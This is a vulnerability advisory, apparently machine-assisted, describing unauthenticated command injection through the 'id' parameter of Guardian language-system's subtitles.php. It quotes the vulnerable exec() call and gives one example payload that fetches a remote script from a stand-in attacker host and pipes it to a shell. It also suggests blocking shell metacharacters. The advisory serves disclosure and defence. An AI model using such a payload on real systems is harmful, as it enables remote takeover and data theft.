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CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Unauthenticated network-reachable GET parameter flows into a shell exec() with no interaction, giving low complexity and full C/I/A impact on the host; scope unchanged.
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CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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Guardian language-system passes the id GET parameter directly into a PHP exec() call in subtitles.php (line 19) without sanitization: exec(\"php jobs/subtitle_rendering.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to the id parameter to execute arbitrary OS commands on the server.
AnalysisAI
Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injecting shell metacharacters into the 'id' GET parameter of subtitles.php, which is concatenated directly into a PHP exec() call invoking jobs/subtitle_rendering.php. The CVSS 4.0 base score of 9.3 reflects network-reachable, no-privilege, no-interaction exploitation, and publicly available exploit code exists (published via VulnCheck), though there is no public exploit identified as being actively used in the wild at time of analysis.
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| Exploitation | The only prerequisite is network reachability to the subtitles.php endpoint of a Guardian language-system deployment; per CVSS PR:N/UI:N no authentication and no user interaction are required, so this is remote unauthenticated exploitation against default configurations. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | All available signals converge on high real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An unauthenticated attacker sends a single crafted HTTP GET request to subtitles.php with an 'id' value such as '1;curl http://attacker/x.sh|sh', causing the appended shell command to execute on the server with web-process privileges. Because a publicly available POC exists and no authentication or user interaction is required, this is trivially automatable for mass scanning, leading to webshell installation, data theft, or full server compromise. |
| Remediation | No vendor-released patch or fixed version is identified in the available data at time of analysis, so the primary recommendation is to consult the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-subtitles-php) for vendor guidance and to apply any fixed release the vendor issues. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Guardian language-system instances and isolate from untrusted networks; implement WAF rules blocking shell metacharacters (|, &, $, , ;) in subtitles.php 'id' parameter. …
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EUVD-2026-41063
GHSA-hw82-rg7w-cx9p